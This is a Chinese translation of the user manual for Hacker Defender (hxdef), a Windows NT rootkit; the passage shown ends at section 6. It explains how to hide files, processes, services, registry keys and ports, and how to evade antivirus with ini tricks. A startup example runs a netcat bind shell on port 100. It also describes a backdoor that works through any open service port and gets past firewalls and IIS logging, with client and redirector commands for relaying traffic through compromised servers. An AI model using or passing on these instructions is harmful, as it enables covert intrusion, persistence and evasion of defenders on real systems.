=====[1,目錄]==============================================
1.
目錄
2. 概要
2.1 關於
2.2 申明
3. 使用說明
4. Ini文件說明
5.
Backdoor
5.1 Redirector
6. 技術支持
6.1 版本
6.2
鉤子API函數
6.3 已知的 bugs
7. Faq
8. 文件
=====[ 2.
關於]================================================
Hacker defender
(hxdef)是壹個使用於Windows NT 4.0, Windows 2000 以及Windows
XP操作系統的壹個NTROOKIT,它也能運行於之後的基於NT的操作系統。主要代碼是由DELPHI
6完成。新的功能使用匯編書寫。驅動代碼由C完成。後門和redirector客服端大部分使用 Delphi 6完成。
=====[ 2.1 概要
]=============================================
程序的主要功能是在所有運行中的進程中重寫分割內存,重寫壹些基本的模塊改變進程的狀態,它幾乎能夠改寫所有不影響系統穩定和正在運行中的進程。
程序能夠完全隱藏,現在能夠做的有隱藏文件、進程、系統服務、系統驅動、註冊表的鍵值和鍵、開放端口以及虛構可用磁盤空間。程序同時也在內存中偽裝它所做的改動,並且隱蔽地控制被隱藏進程。程序安裝後能構造後門、註冊表、系統服務,構造系統驅動。其本身的後門技術允許其植入
redirector。
=====[ 2.2
申明]====================================================
本項目1.0.0版本是開發源代碼。
使用Hacker
defender所造成的後果作者本人概不負責。
=====[ 3. 用法
]==================================================
壹個使用hxdef的簡單例子:
>hxdef100.exe [inifile]
或者
>hxdef100.exe [switch]
直接執行EXE文件,不帶任何的參數時候,默認的inifile文件為程序名.ini
當妳執行hedef100不指定ini文件,或者妳以參數模式運行時候,默認的文件是
hxdef100.ini。
下面的參數是有效的:
-:installonly - 只安裝服務,不運行
-:refresh - 從INI文件中更新設置
-:noservice - 正常運行不安裝服務
-:uninstall -
移除hxdef刪除所有運行的後門連接,同時停止hxdef服務
例如:
>hxdef100.exe
-:refresh
Hxdef擁有默認INI文件,但是我們強烈的推薦妳建立自己的ini文件。關於ini文件的介紹可以看第4部分ini文件部分。
參數
-:refresh and -:uninstall
來源於本來的EXE文件。這就意味這妳只要知道hxdef的運行路徑和EXE名,就能夠改變它的設置或者進行移除工作。
=====[ 4. Ini文件
]============================================
ini文件必須包含了9個部分: [Hidden Table],
[Root Processes], [Hidden Services], [Hidden RegKeys], [Hidden RegValues],
[Startup Run], [Free Space], [Hidden Ports]和[Settings]。
在 [Hidden Table],
[Root Processes], [Hidden Services]和[Hidden RegValues]
中能夠使用*代替後面的字符,星號僅僅使用於字符的後面,任何在*之前的都是無效的。所有的在字符之前和之後的空格也是無效的。
例如:
[Hidden
Table]
hxdef*
將開始隱藏所有在Hidden
Table中以"hxdef"開頭的文件、文件夾和系統進程。
在該文件列表中的所有文件和文件夾都將在文件管理器中消失。在這個列表中的程序也會在任務管理器中被隱藏。必須確保主要文件,INI文件,妳的後門文件和驅動文件被包含在列表中。
在程序列表中的主進程對感染具有免淤能力,妳只能利用這些主程序才能看見隱藏的文件,文件夾和程序。所以,主進程是為rootkit管理員所使用的。
由服務和驅動所組成的Hidden
Services列表將會隱藏在數據庫中的安裝服務和驅動。rootkit主程序的服務名默認為HackerDefender100,rootkit驅動的驅動名默認為HackerDefenderDrv100。它們兩者都可以通過ini文件進行修改。
Hidden
RegKeys中列出的註冊表鍵值將會被隱藏,Rootkit在註冊表中有四個鍵值:默認的是HackerDefender100,
LEGACY_HACKERDEFENDER100, HackerDefenderDrv100, LEGACY_HACKERDEFENDERDRV100
如果妳要重新命名服務名或者驅動名,妳需要在列表中做相應的改變。
開始2個鍵值是和妳的服務據用相同名字的,接下來的鍵值是LEGACY_名字。例如,如果妳改變妳的服務名稱為BoomThisIsMySvc
,那麽在註冊表中,應該是這樣表示的,LEGACY_BOOMTHISISMYSVC。
在Hidden
RegValues列出的註冊表的值將會被隱藏。
Startup
Run列表中列出的是rootkit程序運行之後的自啟動程序。這些程序和ROOTKIT具有壹樣的特權。程序名和它後面的參數以?分開。不要使用"字符,程序將會在用戶登陸以後終止,在用戶登陸以後可以使用壹般和常見的方法。妳可以使用下面這些快捷方式。
%cmd%標準系統的shell和路徑
%cmddir%標準系統的shell文件夾
%sysdir%
- 系統文件夾
(e.g. C:\winnt\system32\)
%windir% -
標準系統文件夾
(e.g. C:\winnt\)
%tmpdir% - 臨時文件夾
(e.g. C:\winnt\temp\)
例如:1)
[Startup Run]
c:\sys\nc.exe?-L -p
100 -t -e cmd.exe
nc-shell將會在rootkit運行以後監聽100端口
2)
[Startup
Run]
%cmd%?/c echo Rootkit started at %TIME%>>
%tmpdir%starttime.txt
將rootkit啟動時間保存在系統臨時文件夾夾starttime。Txt文件。
(%TIME%僅僅運行於Windows2000以上的操作系統。)
Free
Space中列出的驅動硬盤名和容量大小是妳想增加的硬盤,它的格式是X:NUM,其中X表示磁盤驅動器的名稱,NUM表示妳要增加的磁盤的容量。
例如:
[Free
Space]
C:123456789
這將在C盤增加大約123M的磁盤空間。
Hidden
Ports中列出的是妳需要隱藏程序的端口,比如使用OpPorts, FPort, Active Ports, Tcp
View等的程序,它最多擁有2行。第1行的格式是TCP:tppport1,tcpport2,tcpport3
,第2行的格式是UDP:udpport1,udpport2,udpport3 ...例如:
1)
[Hidden
Ports]
TCP:8080,456
這將隱藏2個TCP端口:8080和456
2)
[Hidden
Ports]
TCP:8001
UDP:12345
這將隱藏2個端口:TCP的8001和UDP的12345。
3)
[Hidden
Ports]
TCP:
UDP:53,54,55,56,800
隱藏5個端口,都為UDP端口:53,54,55,56,800。
Settings包含了8個值:Password,
BackdoorShell, FileMappingName, ServiceName,ServiceDisplayName,
ServiceDescription, DriverName 和
DriverFileName。
名。
16位字符的Password被用於後門鏈接和轉向,密碼能根據短壹些,余下的用空格代替。
BackdoorShell是復制於系統的SHELL文件,它被後門創建於壹個臨時的目錄下。
FileMappingName,當鉤子進程被存儲時,用於***享內存。
ServiceName是rootkit服務
ServiceDisplayName為rootkit顯示的服務
ServiceDescription位rootkit的服務描述
DriverName以hxdef驅動命名
DriverFileName以hxdef驅動文件命名
例如;
[Settings]
Password=hxdef-rulez
BackdoorShell=hxdef?.exe
FileMappingName=_.-=[Hacker
Defender]=-._
ServiceName=HackerDefender100
ServiceDisplayName=HXD Service
100
ServiceDescription=powerful NT
rootkit
DriverName=HackerDefenderDrv100
DriverFileName=hxdefdrv.sys
這就意味著妳的後門密碼為hxdef-rulez,後門將復制系統shell文件(通常是CMD.EXE)為hxdef?.exe到臨時目錄。***享內存將變為"_.-=[Hacker
Defender]=-._",服務名為"HackerDefender100",它顯示的名稱為"HXD Service 100",它的描述為"poweful NT
rootkit",驅動名為"HackerDefenderDrv100",驅動將被存儲於壹個叫做"hxdefdrv.sys"的文件中。
擴展字符|,
<, >, :, \, / 和 "在所有的行中都會被忽略,除了[Startup Run], [Free Space] 和 [Hidden
Ports] 項目和在 [Settings] 中first =
character後面的值。使用擴展字符能然妳的INIFILE文件擺脫殺毒軟件的查殺。
例如:
Example:
[H<<<idden
T>>a/"ble]
>h"xdef"*
和下面的是壹樣的。
[Hidden
Table]
hxdef*
更多的例如可以參照hxdef100.ini
和hxdef100.2.ini文件。
所有的在ini文件中的字符串除了那些在Settings 和 Startup
Run中的,都是無效的。
=====[ 5. Backdoor
]=========================================
Rootkit程序
Hook了壹些API的功能,連接接收壹些來自網絡的數據包。如果接收的數據等於256個字節,密碼和服務被確認,復制的SHELL被臨時創建,這種情況建立以後,下壹次的數據接收被重定向到這個SHELL上。
因為rootkit程序
Hook了系統中所有進程,所有在服務器上的TCP端口都將變為後門。例如,如果目標主機開放了提供HTTP服務的80端口,這個端口也能作為壹個有效的後門。例外的是這個開放端口的進程不會被Hook,這個後門僅僅工作於服務器的接收緩沖大於或者等於256個字節。但是這個特征幾乎適合於所有標準的服務,像IIS,APACHE,ORACLE等。後門能夠隱藏是因為所有的數據都通過系統上面提供的服務轉發。所以妳不能使用壹些簡單的端口掃描軟件找到它,並且它能輕易的穿過防火墻。
在測試發現IIS服務過程中,HTTP服務不能記錄任何的連接日記,FTP和SMTP服務器僅僅能記錄結束的斷開連接。所以,如果妳運行hxdef在有IIS
Web服務的服務器上面,HTTP端口跟妳是連接機器使用的後門的最好端口。
如果妳想連接後門的話,妳將不得不使用使用壹些特別的客戶端,程序bdcli100.exe就是被用於如此的。
用法:bdcli100.exe
host port password
例如:
>bdcli100.exe www.windowsserver.com 80
hxdef-rulez
連接服務器www.windowsserver.com使用默認的密碼。客戶端1.0.0版本不兼容其他老的版本。
=====[
5.1 Redirector
]==========================================
Redirector是基於後門技術。第壹個連接包和後門連接壹樣。這就意味著妳能使用相同的端口。下壹個包是僅僅為Redirector特殊的包,這些包由基於運行用戶電腦的重定向器生成.第壹個重定向的包連接特定的目標主機和端口。
Redirectors的設置保存在與EXE文件同名的INI文件中(所以默認的是rdrbs100.ini)。如果這個文件不存在,那麽在EXE文件運行的時候它會自動建立壹個。最好不要額外的修改INI文件。所有的設置都可以在console中進行改變。
當ROOTKIT被安裝時,如果我們需要使用服務器上面的redirectors功能,我們首先要在本地運行程序。在控制臺上我們可以在有HXDEF的服務器上面建立壹個映射端口路由。最後我們連接本地端口並且轉換數據。轉向的數據被rootkit的密碼加密。在這個版本中連接的速度被限制在256K左右。在這個版本中redirectors並不適合於高速連接。Redirectors也會受到安裝有rootkit的服務器的限制,而且Redirectors僅僅使用TCP協議連接。在這個版本中Redirectors
base有19條命令,他們並不是非常的敏感。關於功能的詳細描述可以使用HELP命令。在Redirectors
base啟動時,startup-list中的命令也被執行。startup-list中的命令可以用使用SU啟動的CMD進行編輯。
Redirector區分於2種連接類型(HTTP和其他)。如果連接是其他類型的,數據包將不會被改變。如果是HTTP類型,在HTTP文件頭的HOST參數將會改變為目標服務器。壹個base的最大Redirector數量是1000。
Redirector僅僅適用於NT結構,只有在擁有圖標的NT程序下妳才能使用HIDE命令隱藏控制臺。只有在NT下才能無聲無息的運行,沒有數據輸出,沒有圖標,僅僅執行startup-list中的命令。例子:1)得到端口映射信息
>MPINFO
No mapped ports in the
list.
2)增加MPINFO命令到startup-list並且得到startup-list中的命令。
>SUADD
MPINFO
>sulist
0) MPINFO
3)使用HELP命令。
>HELP
Type HELP COMMAND for command details.
Valid commands
are:
HELP, EXIT, CLS, SAVE, LIST, OPEN, CLOSE, HIDE, MPINFO, ADD,
DEL,
DETAIL, SULIST, SUADD, SUDEL, SILENT, EDIT, SUEDIT,
TEST
>HELP ADD
Create mapped port. You have to specify domain
when using HTTP
type.
usage: ADD <LOCAL PORT> <MAPPING
SERVER> <MAPPING SERVER PORT>
<TARGET
SERVER>
<TARGET SERVER PORT> <PASSWORD> [TYPE] [DOMAIN]
>HELP
EXIT
Kill this application. Use DIS flag to discard unsaved data.
usage: EXIT
[DIS]
4)增加端口映射,我們在本地100端口進行監聽,ROOTKIT安裝在服務器200.100.2.36的80端口上,目標服務器是www.google.com80端口。,rootkit的密碼是bIgpWd,連接類型HTTP,目標主機(www.google.com)我們知道它的IP地址是216.239.53.100。
>ADD 100
200.100.2.36 80 216.239.53.100 80 bIgpWd HTTP www.google.com
ADD命令可以不加任何參數的運行,在這個例子中我們要求每壹個參數都要分開。
5)現在我們再使用MPINFO檢查壹下映射端口
>MPINFO
There are 1 mapped ports in the list. Currently 0 of them
open.
6)列舉端口映射表:
>LIST
000)
:100:200.100.2.36:80:216.239.53.100:80:bIgpWd:HTTP
7)壹個端口映射的詳細描述:
>DETAIL
0
Listening on port: 100
Mapping server address:
200.100.2.36
Mapping server port: 80
Target server address:
216.239.53.100
Target server port: 80
Password: bIgpWd
Port
type: HTTP
Domain name for HTTP Host: www.google.com
Current state:
CLOSED
8)在沒有密碼的情況下,我們能在端口映射服務器200.100.2.36上測試rootkit是否已經安裝(但是如果我們能確認它這樣做就不再需要)
>TEST 0
Testing 0) 200.100.2.36:80:bIgpWd –
OK
如果測試失敗則顯示:
Testing 0) 200.100.2.36:80:bIgpWd -
FAILED
9)在我們沒使用之前端口仍然是沒有開放的。我們不得不使用OPEN命令打開它,當端口開放時,我們也能使用CHOSE命令關閉端口。我們能使用標誌符ALL應用這些命令在列表中的所有端口,這個過程可能需要壹段的時間。
>OPEN 0
Port number 0 opened.
>CLOSE 0
Port number 0
closed.
或者 >OPEN ALL
Port number 0
opened.
10)要保存當前的設置和列表我們可以使用SAVE命令,將保存所有的設置到ini文件中。(保存也會通過命令EXIT執行,而不需要DIS標誌)
>SAVE Saved
successfully.
開的端口能夠轉換我們需要的所有數據。限制妳能打開妳喜歡的瀏覽器輸入網址的主頁。
第壹個數據包跟妳會延遲5秒鐘左右,但是其他的限制僅僅取決於服務器的速度,根據這個版本的轉向技術,妳聯網的速度大約在256K左右。
=====[
6.
技術發行]========================================
這部分包含了壹些對於普通用戶無關緊要的信息。這部分可能適合所有的測試者和開發人員閱讀